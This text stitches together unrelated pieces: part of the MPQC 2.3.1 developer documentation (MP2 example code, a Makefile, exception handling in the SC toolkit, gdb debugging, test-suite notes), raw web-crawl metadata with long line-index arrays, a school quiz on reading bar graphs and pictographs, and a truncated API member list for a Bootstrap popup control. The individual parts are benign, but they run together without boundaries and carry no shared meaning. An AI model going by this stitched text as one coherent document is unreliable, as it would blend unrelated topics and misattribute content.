int ibja = (((i*nmo+b)*nmo+j)*nmo+a);
energy += (2 * ijkl[iajb] - ijkl[ibja]) * ijkl[iajb]/
(evals[i] + evals[j] - evals[a] - evals[b]);
}
}
}
}
ijkl_av.release(); ijkl = 0;
evals_av.release(); evals = 0;
return energy;
}
MP2 Implementation Example: Makefile
This example Makefile demonstrates how to link in a new class to form a new mpqc executable, here named mp2. The code is given in the MP2 Implementation Example: Source section. The sc-config command is used to obtain information about how the SC toolkit was compiled and installed. The library specified with -lmpqc provides the main routine from mpqc.
# Change this to the path to your installed sc-config script.
SCCONFIG = /usr/local/mpqc/current/bin/sc-config
CXX := $(shell $(SCCONFIG) --cxx)
CXXFLAGS := $(shell $(SCCONFIG) --cxxflags)
CPPFLAGS := $(shell $(SCCONFIG) --cppflags)
LIBS := $(shell $(SCCONFIG) --libs)
LIBDIR := $(shell $(SCCONFIG) --libdir)
LTLINK := $(shell $(SCCONFIG) --ltlink)
LTLINKBINOPTS := $(shell $(SCCONFIG) --ltlinkbinopts)
mp2: mp2.o
$(LTLINK) $(CXX) $(CXXFLAGS) -o $@ $^ -L$(LIBDIR) -lmpqc $(LIBS) $(LTLINKBINOPTS)
MP2 Implementation Example: Input
This input file can be used with the program illustrated in the MP2 Implementation Example: Source section. It will compute the MP2 energy using the new MP2 class. Note that only the object-oriented input format can be used with user provided classes.
% emacs should use -*- KeyVal -*- mode
molecule<Molecule>: (
symmetry = C1
unit = angstrom
{ atoms geometry } = {
O [ 0.00000000 0.00000000 0.37000000 ]
H [ 0.78000000 0.00000000 -0.18000000 ]
H [ -0.78000000 0.00000000 -0.18000000 ]
}
)
basis<GaussianBasisSet>: (
name = "STO-3G"
molecule = $:molecule
)
mpqc: (
checkpoint = no
savestate = no
% MP2 is the new class. Change MP2 to MBPT2 to test
% against the standard MP2 code
mole<MP2>: (
molecule = $:molecule
basis = $:basis
reference<CLHF>: (
molecule = $:molecule
basis = $:basis
memory = 16000000
)
)
)
Exception Handling in SC
The development of SC began before exception handling was available in C++. A retrofit of the code to use exceptions is in progress. It is difficult to retrofit a code, especially a parallel code, to do exception handling. There will be some limitations: exception handling will not work well for parallel jobs, objects whose members throw might be left in a questionable state, etc. However, it is intended that SC objects will be usable in an interactive environment. It is also planned that exceptions be used internally to facilitate recover from certain problems.
All new code should use exceptions instead of exit or abort and allocate resources in such a way that, if an exception occurs, all resources such as memory or locks are released. A hierarchy of exception classes has been created that maps better to scientific computing than the standard exceptions. More information is below, as well as in the documentation for the SCException class and its derivatives.
Exceptions and Memory Allocation
Consider the following code fragment:
Object *obj = new Object;
double *array = new double[n];
f(obj, array, mol);
delete obj;
delete[] array;
If an exception is thrown in the function f(), then storage for array and obj will not be released. The standard C++ library provides a class, auto_ptr, to deal with obj, and the SC toolkit provides a class, auto_vec, to deal with array.
The include files for these two classes are:
include <memory>
include <util/misc/autovec.h>
the code would be modified as follows:
std::auto_ptr<Object> obj(new Object);
sc::auto_vec<double> array(new double[n]);
f(obj.get(), array.get());
obj.release(); // or just let the destructor release it
array.release(); // or just let the destructor release it
Note that when sc::Ref is used to store pointers, the storage will automatically be released when necessary. No special treatment is needed to deal with exceptions.
Exceptions and Locks
Consider the following code fragment:
g(const sc::Ref<sc::ThreadLock> &lock)
{
lock->lock();
f();
lock->unlock();
}
If f() throws, then the lock is never released. The ThreadLock lock() and unlock() members should not be used anymore. Now do the following:
g(const sc::Ref<sc::ThreadLock> &lock)
{
sc::ThreadLockHolder lockholder(lock);
f();
lockholder->unlock(); // or let the destructor unlock it
}
Exceptions and Region Timers
Consider the following code fragment:
g(const sc::Ref<sc::RegionTimer> ®tim)
{
regtim->enter("f()");
f();
regtim->exit();
}
If f() throws, then the "f()" timing region is never exited. Instead use the following:
g(const sc::Ref<sc::RegionTimer> ®tim)
{
sc::Timer timer(regtim, "f()");
f();
timer.reset(); // or let the destructor exit the region
}
Using the SC Exception Classes
The SC exceptions provide information that can be used into two ways. First, text information is provided so that if the exception is not caught at a lower level, then the mpqc executable will catch it and write information about the problem to the terminal or an output file. Second, information about the nature of the problem is provided, to permit developers to catch the exception and deal with it in some way. The documentation for sc::SCException and all of its derivatives gives more information about the exceptions that are available. As an example, consider the following loop, where a maximum number of iterations is permitted:
XYZ::update()
{
for (int i=0; i<maxiter; i++) {
... compute xyz update ...
if (residual < threshold) return;
}
throw MaxIterExceeded("too many iterations xyz computation",
__FILE__, __LINE__, maxiter, class_desc());
}
The first argument to the exception class is a brief description of the error. Additional information can be provided, see SCException::elaborate() description below. The next two arguments are the filename and line number. The C preprocessor provides these for you with the __FILE__ and __LINE__ macros. The next argument is specific to the MaxIterExceeded exception; it is the maximum number of iterations. Finally, a ClassDesc* can be given, which will be used to print out the class name of the object that failed. All of these arguments are optional; however, the first three should always be given.
It is possible to provide additional information using the SCException::elaborate() member. This will return a ostream, and the additional information can be written to this stream. However, if for some reason it is not possible to write to this stream (say, there wasn't enough memory to allocate it), then an exception will be thrown. For this reason, the string description given as the first argument should be informative since the additional information might not be available, and attempts to use elaborate() should be in a try block. So, for example, the elaborate() member could be used in the above example as follows:
XYZ::update()
{
for (int i=0; i<maxiter; i++) {
... compute xyz update ...
if (residual < threshold) return;
}
MaxIterExceeded ex("too many iterations in xyz computation",
__FILE__, __LINE__, maxiter, class_desc());
try {
ex.elaborate() << "this can happen when the stepsize is too small"
<< std::endl
<< "the stepsize is " << stepsize
<< std::endl;
}
catch (...) {}
throw ex;
}
Note that writing to stream returned by elaborate() won't necessarily cause anything to get written to the terminal or an output file. The information will be available when the what() member is called, if writing to the stream succeeds. If the exception is caught by the mpqc main routine, then it will be printed for the user to see. If the program catches the exception and determines that it is possible to proceed in a different way, then the user will never see the text.
Debugging Code with Exceptions
Usually, exceptions are not the desired behaviour in a program, and it is necessary to debug a program that throws an exception. This was easy when abort was called, because abort would raise a signal that was caught by the debugger and the code is stopped at the appropriate place. With exceptions the matter is more complex, because the stack is unwound when an exception is thrown and most debugging information is lost. To work around this problem, a breakpoint can be set in code that will be reached only in an exception, and will be run before the stack unwind begins. A useful place to do this when GCC is used as the compiler is in the routine __cxa_allocate_exception(). So, in gdb, the following could be done:
$ gdb ./scextest
(gdb) b main
(gdb) run
Breakpoint 1, main () at /home/cljanss/src/SC/src/lib/util/misc/scextest.cc:172
172 f();
(gdb) b __cxa_allocate_exception
(gdb) cont
Breakpoint 2, 0x40582d46 in __cxa_allocate_exception ()
from /usr/lib/gcc-lib/i686-pc-linux-gnu/3.3.5/libstdc++.so.5
(gdb) where
#0 0x40582d46 in __cxa_allocate_exception ()
from /usr/lib/gcc-lib/i686-pc-linux-gnu/3.3.5/libstdc++.so.5
#1 0x0804b3f7 in f () at /home/cljanss/src/SC/src/lib/util/misc/scextest.cc:60
#2 0x0804b9e9 in main ()
at /home/cljanss/src/SC/src/lib/util/misc/scextest.cc:172
Giving gdb "b main" followed by "run" was required before gdb could find the __cxa_allocate_exception symbol.
Adding Test Cases to the Verification Suite
There are two ways to test an MPQC build. The testbuild and testrun make targets can be used to run test programs in various library directories, and the check and related make targets can be used to run MPQC on sets of input files. See Validating MPQC for more information about how to run the tests.
Test programs can be added to the library directories by providing a source file with a main routine. The set of test programs that is to be built and run by testbuild and testrun, respectively, is given by the TESTPROGS variable in the library's Makefile. It may be necessary for an explicit rule to be given for building the test program to ensure that necessary libraries are linked in. If a file named after the test program with a .out suffix is found in the source directory, then testrun fail if the command's output differs from that file. Care must be taken to ensure that the output is architecture independent in this case. Otherwise, testrun will fail only if running the command results in a nonzero return code.
Additional MPQC test inputs can be added in the src/bin/mpqc/validate directory. These inputs can be provided in one of two ways. An input which is used to automatically generate multiple test cases can be written (with a .qci suffix), or a subdirectory with each input can be made. See Makefile, basis1.qci, and input in the src/bin/mpqc/validate directory for examples.
After you have added new inputs and modified the Makefile, change into the src/bin/mpqc/validate subdirectory of your object directory (where you compiled MPQC) and type make inputs. This will create a input subdirectory containing MPQC input files with a .in suffix. Files ending with a .qci suffix will also be placed in the input directory. These contain a description of the calculation that is used by the utility program that checks the results of the validation suite. Both the .in and .qci files for the new test cases must be copied into the ref directory in the source tree. Note that inputs that are not useful in your build environment are not created by make inputs.
Generated at Wed Mar 22 11:34:24 2006 for MPQC 2.3.1 using the documentation package Doxygen 1.4.4.
These pages are hosted on SourceForge.net
|
{
"url": "http://www.mpqc.org/mpqc-html/develop.html",
"source_domain": "www.mpqc.org",
"snapshot_id": "crawl=CC-MAIN-2013-20",
"warc_metadata": {
"Content-Length": "30940",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:KTPHG4UNNT6R7BSR4UR3HE7SBNRKFLSC",
"WARC-Concurrent-To": "<urn:uuid:c8881489-e174-47e4-8771-cae5a58a52a0>",
"WARC-Date": "2013-05-20T03:37:07Z",
"WARC-IP-Address": "216.34.181.97",
"WARC-Identified-Payload-Type": null,
"WARC-Payload-Digest": "sha1:ICSZ5BS4SFAVHPZ4C4VL4EHK7LVJ7AQV",
"WARC-Record-ID": "<urn:uuid:4366f9f7-1349-44cd-a6c7-30ccb14b0384>",
"WARC-Target-URI": "http://www.mpqc.org/mpqc-html/develop.html",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:080caf2e-ab30-48d3-b6c0-ea911a07ae74>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-60-113-184.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2013-20\r\noperator: CommonCrawl Admin\r\ndescription: Wide crawl of the web with URLs provided by Blekko for Spring 2013\r\npublisher: CommonCrawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
}
|
{
"line_start_idx": [
0,
99,
100,
125,
126,
253,
254,
313,
314,
560,
561,
583,
584,
703,
704,
720,
721,
802,
803,
830,
831,
931,
932,
985,
1014,
1015,
1317,
1318,
1344,
1345,
1547,
1548,
1592,
1593,
1756,
1757,
1786,
1787,
1854,
1855,
1921,
1965,
1989,
2035,
2042,
2091,
2092,
2149,
2150,
2216,
2237,
2282,
2289,
2337,
2338,
2365,
2366,
2437,
2438,
2473,
2474,
2725,
2726,
2992,
2993,
3013,
3044,
3079,
3115,
3150,
3151,
3172,
3192,
3193,
3226,
3269,
3302,
3303,
3314,
3344,
3364,
3402,
3426,
3451,
3476,
3511,
3541,
3580,
3583,
3584,
3654,
3708,
3709,
3768,
3828,
3856,
3919,
3978,
4016,
4020,
4022,
4023,
4072,
4074,
4130,
4132,
4133,
4138,
4181,
4224,
4225,
4286,
4288,
4289,
4294,
4313,
4315,
4341,
4395,
4464,
4468,
4469,
4498,
4566,
4626,
4671,
4714,
4715,
4782,
4783,
4819,
4885,
4930,
4932,
4933,
4938,
4960,
4988,
5016,
5018,
5019,
5023,
5046,
5082,
5084,
5085,
5101,
5122,
5170,
5235,
5247,
5249,
5250,
5254,
5282,
5294,
5296,
5297,
5301,
5338,
5350,
5352,
5353,
5360,
5386,
5388,
5449,
5503,
5572,
5576,
5577,
5627,
5628,
5652,
5676,
5718,
5743,
5744,
5810,
5842,
5864,
5865,
5929,
5961,
6019,
6020,
6081,
6124,
6125,
6172,
6173,
6205,
6241,
6285,
6286,
6324,
6370,
6371,
6411,
6459,
6460,
6502,
6552,
6553,
6595,
6596,
6621,
6661,
6713,
6714,
6758,
6812,
6813,
6859,
6916,
6917,
6973,
7031,
7032,
7094,
7095,
7142,
7143,
7161,
7177,
7191,
7203,
7204,
7214,
7222,
7228,
7232,
7233,
7247,
7248,
7312,
7344,
7345,
7360,
7393,
7428,
7465,
7511,
7512,
7539,
7540,
7565,
7606,
7649,
7694,
7749,
7750,
7814,
7870,
7905,
7906,
7924,
7940,
7954,
7966,
7967,
7977,
7985,
7991,
7995,
7996,
8027,
8058,
8059,
8106,
8140,
8187,
8188,
8211,
8243,
8277,
8315,
8355,
8356,
8404,
8452,
8453,
8517,
8574,
8575,
8585,
8593,
8599,
8603,
8604,
8635,
8668,
8669,
8686,
8688,
8689,
8726,
8727,
9081,
9082,
9144,
9193,
9227,
9271,
9315,
9351,
9392,
9432,
9486,
9487,
9498,
9588,
9589,
9623,
9624,
9876,
9877,
9916,
9938,
9954,
9972,
9997,
10056,
10115,
10174,
10178,
10180,
10207,
10225,
10249,
10251,
10259,
10277,
10294,
10349,
10383,
10398,
10424,
10444,
10467,
10495,
10517,
10541,
10547,
10551,
10553,
10554,
10579,
10580,
11149,
11150,
11556,
11557,
11590,
11591,
11629,
11630,
11656,
11687,
11688,
11708,
11709,
11721,
11737,
11738,
11976,
11977,
12022,
12023,
12040,
12070,
12071,
12110,
12111,
12150,
12193,
12194,
12221,
12222,
12279,
12338,
12339,
12504,
12505,
12526,
12527,
12565,
12566,
12605,
12607,
12623,
12630,
12648,
12650,
12651,
12792,
12793,
12832,
12834,
12875,
12882,
12941,
12943,
12944,
12973,
12974,
13012,
13013,
13055,
13057,
13081,
13088,
13106,
13108,
13109,
13197,
13198,
13240,
13242,
13276,
13283,
13341,
13343,
13344,
13375,
13376,
14016,
14017,
14031,
14033,
14067,
14094,
14132,
14136,
14199,
14267,
14269,
14270,
14875,
14876,
15505,
15506,
15520,
15522,
15556,
15583,
15621,
15625,
15688,
15753,
15761,
15832,
15864,
15917,
15950,
15954,
15971,
15983,
15985,
15986,
16464,
16465,
16496,
16497,
17219,
17220,
17237,
17250,
17260,
17340,
17359,
17392,
17403,
17459,
17523,
17535,
17581,
17645,
17725,
17751,
17813,
17814,
17924,
17925,
17969,
17970,
18272,
18273,
18999,
19000,
19372,
19373,
20053,
20054,
20055,
20155
],
"line_end_idx": [
99,
100,
125,
126,
253,
254,
313,
314,
560,
561,
583,
584,
703,
704,
720,
721,
802,
803,
830,
831,
931,
932,
985,
1014,
1015,
1317,
1318,
1344,
1345,
1547,
1548,
1592,
1593,
1756,
1757,
1786,
1787,
1854,
1855,
1921,
1965,
1989,
2035,
2042,
2091,
2092,
2149,
2150,
2216,
2237,
2282,
2289,
2337,
2338,
2365,
2366,
2437,
2438,
2473,
2474,
2725,
2726,
2992,
2993,
3013,
3044,
3079,
3115,
3150,
3151,
3172,
3192,
3193,
3226,
3269,
3302,
3303,
3314,
3344,
3364,
3402,
3426,
3451,
3476,
3511,
3541,
3580,
3583,
3584,
3654,
3708,
3709,
3768,
3828,
3856,
3919,
3978,
4016,
4020,
4022,
4023,
4072,
4074,
4130,
4132,
4133,
4138,
4181,
4224,
4225,
4286,
4288,
4289,
4294,
4313,
4315,
4341,
4395,
4464,
4468,
4469,
4498,
4566,
4626,
4671,
4714,
4715,
4782,
4783,
4819,
4885,
4930,
4932,
4933,
4938,
4960,
4988,
5016,
5018,
5019,
5023,
5046,
5082,
5084,
5085,
5101,
5122,
5170,
5235,
5247,
5249,
5250,
5254,
5282,
5294,
5296,
5297,
5301,
5338,
5350,
5352,
5353,
5360,
5386,
5388,
5449,
5503,
5572,
5576,
5577,
5627,
5628,
5652,
5676,
5718,
5743,
5744,
5810,
5842,
5864,
5865,
5929,
5961,
6019,
6020,
6081,
6124,
6125,
6172,
6173,
6205,
6241,
6285,
6286,
6324,
6370,
6371,
6411,
6459,
6460,
6502,
6552,
6553,
6595,
6596,
6621,
6661,
6713,
6714,
6758,
6812,
6813,
6859,
6916,
6917,
6973,
7031,
7032,
7094,
7095,
7142,
7143,
7161,
7177,
7191,
7203,
7204,
7214,
7222,
7228,
7232,
7233,
7247,
7248,
7312,
7344,
7345,
7360,
7393,
7428,
7465,
7511,
7512,
7539,
7540,
7565,
7606,
7649,
7694,
7749,
7750,
7814,
7870,
7905,
7906,
7924,
7940,
7954,
7966,
7967,
7977,
7985,
7991,
7995,
7996,
8027,
8058,
8059,
8106,
8140,
8187,
8188,
8211,
8243,
8277,
8315,
8355,
8356,
8404,
8452,
8453,
8517,
8574,
8575,
8585,
8593,
8599,
8603,
8604,
8635,
8668,
8669,
8686,
8688,
8689,
8726,
8727,
9081,
9082,
9144,
9193,
9227,
9271,
9315,
9351,
9392,
9432,
9486,
9487,
9498,
9588,
9589,
9623,
9624,
9876,
9877,
9916,
9938,
9954,
9972,
9997,
10056,
10115,
10174,
10178,
10180,
10207,
10225,
10249,
10251,
10259,
10277,
10294,
10349,
10383,
10398,
10424,
10444,
10467,
10495,
10517,
10541,
10547,
10551,
10553,
10554,
10579,
10580,
11149,
11150,
11556,
11557,
11590,
11591,
11629,
11630,
11656,
11687,
11688,
11708,
11709,
11721,
11737,
11738,
11976,
11977,
12022,
12023,
12040,
12070,
12071,
12110,
12111,
12150,
12193,
12194,
12221,
12222,
12279,
12338,
12339,
12504,
12505,
12526,
12527,
12565,
12566,
12605,
12607,
12623,
12630,
12648,
12650,
12651,
12792,
12793,
12832,
12834,
12875,
12882,
12941,
12943,
12944,
12973,
12974,
13012,
13013,
13055,
13057,
13081,
13088,
13106,
13108,
13109,
13197,
13198,
13240,
13242,
13276,
13283,
13341,
13343,
13344,
13375,
13376,
14016,
14017,
14031,
14033,
14067,
14094,
14132,
14136,
14199,
14267,
14269,
14270,
14875,
14876,
15505,
15506,
15520,
15522,
15556,
15583,
15621,
15625,
15688,
15753,
15761,
15832,
15864,
15917,
15950,
15954,
15971,
15983,
15985,
15986,
16464,
16465,
16496,
16497,
17219,
17220,
17237,
17250,
17260,
17340,
17359,
17392,
17403,
17459,
17523,
17535,
17581,
17645,
17725,
17751,
17813,
17814,
17924,
17925,
17969,
17970,
18272,
18273,
18999,
19000,
19372,
19373,
20053,
20054,
20055,
20155,
20196
]
}
|
{
"red_pajama_v2": {
"ccnet_original_length": 20196,
"ccnet_original_nlines": 495,
"rps_doc_curly_bracket": 0.004555359948426485,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.26184889674186707,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.03308305889368057,
"rps_doc_frac_lines_end_with_ellipsis": 0.0040322598069906235,
"rps_doc_frac_no_alph_words": 0.33833882212638855,
"rps_doc_frac_unique_words": 0.3034785985946655,
"rps_doc_mean_word_length": 5.55057954788208,
"rps_doc_num_sentences": 170,
"rps_doc_symbol_to_word_ratio": 0.003284839913249016,
"rps_doc_unigram_entropy": 5.805918216705322,
"rps_doc_word_count": 2501,
"rps_doc_frac_chars_dupe_10grams": 0.009652789682149887,
"rps_doc_frac_chars_dupe_5grams": 0.05734043940901756,
"rps_doc_frac_chars_dupe_6grams": 0.04192478954792023,
"rps_doc_frac_chars_dupe_7grams": 0.027661720290780067,
"rps_doc_frac_chars_dupe_8grams": 0.009652789682149887,
"rps_doc_frac_chars_dupe_9grams": 0.009652789682149887,
"rps_doc_frac_chars_top_2gram": 0.005762860178947449,
"rps_doc_frac_chars_top_3gram": 0.012102000415325165,
"rps_doc_frac_chars_top_4gram": 0.006483220029622316,
"rps_doc_books_importance": -1921.237548828125,
"rps_doc_books_importance_length_correction": -1921.237548828125,
"rps_doc_openwebtext_importance": -1297.97314453125,
"rps_doc_openwebtext_importance_length_correction": -1297.97314453125,
"rps_doc_wikipedia_importance": -997.812744140625,
"rps_doc_wikipedia_importance_length_correction": -997.812744140625
},
"fasttext": {
"dclm": 0.8019858598709106,
"english": 0.692180335521698,
"fineweb_edu_approx": 2.9922642707824707,
"eai_general_math": 0.973410427570343,
"eai_open_web_math": 0.23079758882522583,
"eai_web_code": 0.9772763252258301
}
}
|
{
"free_decimal_correspondence": {
"primary": {
"code": "004.02",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
},
"secondary": {
"code": "541",
"labels": {
"level_1": "Science and Natural history",
"level_2": "Chemistry",
"level_3": "Chemistry, Physical and theoretical"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "4",
"label": "Code/Software"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "0",
"label": "No missing content"
}
},
"document_type_v2": {
"primary": {
"code": "8",
"label": "Documentation"
},
"secondary": {
"code": "23",
"label": "Tutorial"
}
},
"reasoning_depth": {
"primary": {
"code": "3",
"label": "Intermediate Reasoning"
},
"secondary": {
"code": "4",
"label": "Advanced Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "4",
"label": "Graduate/Expert Level"
},
"secondary": {
"code": "3",
"label": "Undergraduate Level"
}
}
}
|
672f1e42c33a7f9846924a2431ea77df
|
-106,992,248,667,089,900 |
Graphical Representation of Data
There is no content available!
To Access the full content, Please Purchase
• Q1
The following pictograph shows the number of computers sold by a company during a week. The total number of computers sold on wednesday was
Marks:1
Answer:
15.
Explanation:
Total number of computers sold on Wednesday = 3 x 5 = 15 computers
View Answer
• Q2
The following bar graph shows the number of copies of the book ‘Mathematics for class VI’ sold by a bookseller during the period from April 2008 to August 2008. The sale of the books was maximum in the month of
Marks:1
Answer:
April.
Explanation:
The sale of the books was maximum in the month of April as the height of the rectangular bar corresponding to April month is maximum.
View Answer
• Q3
The following bar graph shows the number of students in a particular class. According to the bar graph, every year, the number of added new students are
Marks:1
Answer:
10
Explanation:
From the bar graph,
the number of student in 2000 year = 30
the number of student in 2001 year = 40 = 30 + 10
the number of student in 2002 year = 50 = 40 + 10
the number of student in 2003 year = 60 = 50 + 10
so, every year 10 students are added.
View Answer
• Q4
Study the bar graph representing the number of persons in various age groups and answer the question.
The number of persons are more in the age group 10-15 than in the age group 30 -35 is
Marks:1
Answer:
300.
Explanation:
Number of persons in the age group 10 - 15 = 1400
Number of persons in the age group 30 - 35 = 1100
Number of persons more in age 10-15 than 30 – 35 = 1400 – 1100 = 300.
View Answer
• Q5
Read the bar graph shown in the figure and answer the following question
The shoe number is worn by the maximum numbers of students is
Marks:1
Answer:
Shoe No. 7.
Explanation:
Shoe number 7 is worn by maximum number of students
View Answer
|
{
"url": "https://www.extramarks.com/study-material/icse-class-6/mathematics-data-handling-graphical-representation-of-data",
"source_domain": "www.extramarks.com",
"snapshot_id": "crawl=CC-MAIN-2020-45",
"warc_metadata": {
"Content-Length": "68675",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:NWQ2BK2MA32NZ6RMBBD6RD5D3SW4F2MV",
"WARC-Concurrent-To": "<urn:uuid:581a648e-4362-49c8-91d0-8639d834436d>",
"WARC-Date": "2020-10-22T21:16:12Z",
"WARC-IP-Address": "99.84.191.90",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:AI427JVRQ446Z6Y6KPOLG6Q2OISOBRBM",
"WARC-Record-ID": "<urn:uuid:79c78961-4402-4b1b-b364-c30edbebade5>",
"WARC-Target-URI": "https://www.extramarks.com/study-material/icse-class-6/mathematics-data-handling-graphical-representation-of-data",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:9992c33f-3097-40d8-8ce4-e00bc2d62429>"
},
"warc_info": "isPartOf: CC-MAIN-2020-45\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for October 2020\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-174.ec2.internal\r\nsoftware: Apache Nutch 1.17 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.2-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
}
|
{
"line_start_idx": [
0,
33,
34,
65,
66,
110,
111,
118,
119,
263,
264,
276,
288,
289,
297,
298,
315,
386,
402,
409,
410,
625,
626,
638,
650,
651,
662,
663,
680,
818,
834,
841,
842,
999,
1000,
1012,
1024,
1025,
1032,
1033,
1050,
1051,
1075,
1119,
1173,
1227,
1281,
1323,
1324,
1340,
1347,
1348,
1454,
1455,
1545,
1546,
1558,
1570,
1571,
1580,
1581,
1598,
1652,
1706,
1780,
1796,
1803,
1804,
1881,
1882,
1883,
1884,
1950,
1951,
1963,
1975,
1976,
1992,
1993,
2010,
2011,
2067,
2068
],
"line_end_idx": [
33,
34,
65,
66,
110,
111,
118,
119,
263,
264,
276,
288,
289,
297,
298,
315,
386,
402,
409,
410,
625,
626,
638,
650,
651,
662,
663,
680,
818,
834,
841,
842,
999,
1000,
1012,
1024,
1025,
1032,
1033,
1050,
1051,
1075,
1119,
1173,
1227,
1281,
1323,
1324,
1340,
1347,
1348,
1454,
1455,
1545,
1546,
1558,
1570,
1571,
1580,
1581,
1598,
1652,
1706,
1780,
1796,
1803,
1804,
1881,
1882,
1883,
1884,
1950,
1951,
1963,
1975,
1976,
1992,
1993,
2010,
2011,
2067,
2068,
2083
]
}
|
{
"red_pajama_v2": {
"ccnet_original_length": 2083,
"ccnet_original_nlines": 82,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.29207921028137207,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.014851490035653114,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.27227723598480225,
"rps_doc_frac_unique_words": 0.32258063554763794,
"rps_doc_mean_word_length": 4.263929843902588,
"rps_doc_num_sentences": 14,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 4.148402214050293,
"rps_doc_word_count": 341,
"rps_doc_frac_chars_dupe_10grams": 0.053645119071006775,
"rps_doc_frac_chars_dupe_5grams": 0.26478680968284607,
"rps_doc_frac_chars_dupe_6grams": 0.23727647960186005,
"rps_doc_frac_chars_dupe_7grams": 0.1925722062587738,
"rps_doc_frac_chars_dupe_8grams": 0.1031636893749237,
"rps_doc_frac_chars_dupe_9grams": 0.053645119071006775,
"rps_doc_frac_chars_top_2gram": 0.08803301304578781,
"rps_doc_frac_chars_top_3gram": 0.07565336674451828,
"rps_doc_frac_chars_top_4gram": 0.04951857030391693,
"rps_doc_books_importance": -207.26441955566406,
"rps_doc_books_importance_length_correction": -207.26441955566406,
"rps_doc_openwebtext_importance": -114.17352294921875,
"rps_doc_openwebtext_importance_length_correction": -114.17352294921875,
"rps_doc_wikipedia_importance": -84.77388000488281,
"rps_doc_wikipedia_importance_length_correction": -84.77388000488281
},
"fasttext": {
"dclm": 0.9003946185112,
"english": 0.9262296557426453,
"fineweb_edu_approx": 2.9503278732299805,
"eai_general_math": 0.9675607681274414,
"eai_open_web_math": 0.2769263982772827,
"eai_web_code": 0.03352630138397217
}
}
|
{
"free_decimal_correspondence": {
"primary": {
"code": "519.5",
"labels": {
"level_1": "Science and Natural history",
"level_2": "Mathematics",
"level_3": "Probabilities; or, Mathematical statistics"
}
},
"secondary": {
"code": "372.7",
"labels": {
"level_1": "Social sciences",
"level_2": "Education",
"level_3": "Education, Elementary and Kindergarten"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "4",
"label": "Missing Images or Figures"
},
"secondary": {
"code": "1",
"label": "Truncated Snippets"
}
},
"document_type_v2": {
"primary": {
"code": "23",
"label": "Tutorial"
},
"secondary": {
"code": "10",
"label": "Knowledge Article"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "2",
"label": "High School Level"
},
"secondary": {
"code": "1",
"label": "General Audience"
}
}
}
|
672f1e42c33a7f9846924a2431ea77df
|
3,762,313,922,726,854,700 |
BootstrapPopupControlBuilder Members
A web control that enables you to add the popup window functionality to your web application.
Constructors
Name Description
BootstrapPopupControlBuilder(IHtmlHelper)
Initializes a new instance of the BootstrapPopupControlBuilder class.
Methods
Name Description
AllowDragging(Boolean)
Sets a value specifying whether a control's window can be dragged by end users.
AllowResize(Boolean)
Sets a value that specifies whether the control's window can be resized by end-users on the client side.
AppearAfter(Int32)
Sets the delay in displaying the popup control's popup window.
AutoUpdatePosition(Boolean)
Sets the value that specifies whether the default popup window's position is updated automatically, when required.
ClientSideEvents(Action<PopupControlClientSideEventsBuilder>)
Object that lists the client-side events specific to the current popup control.
CloseAction(CloseAction)
Sets a value that specifies which action forces a displayed popup window to close.
CloseAnimationType(AnimationType)
Sets a value specifying the animation type used to close popup windows.
CloseOnEscape(Boolean)
Sets a value specifying whether a popup window is closed when an end-user presses the ESC key.
Content(TemplateContent)
ContentUrl(String)
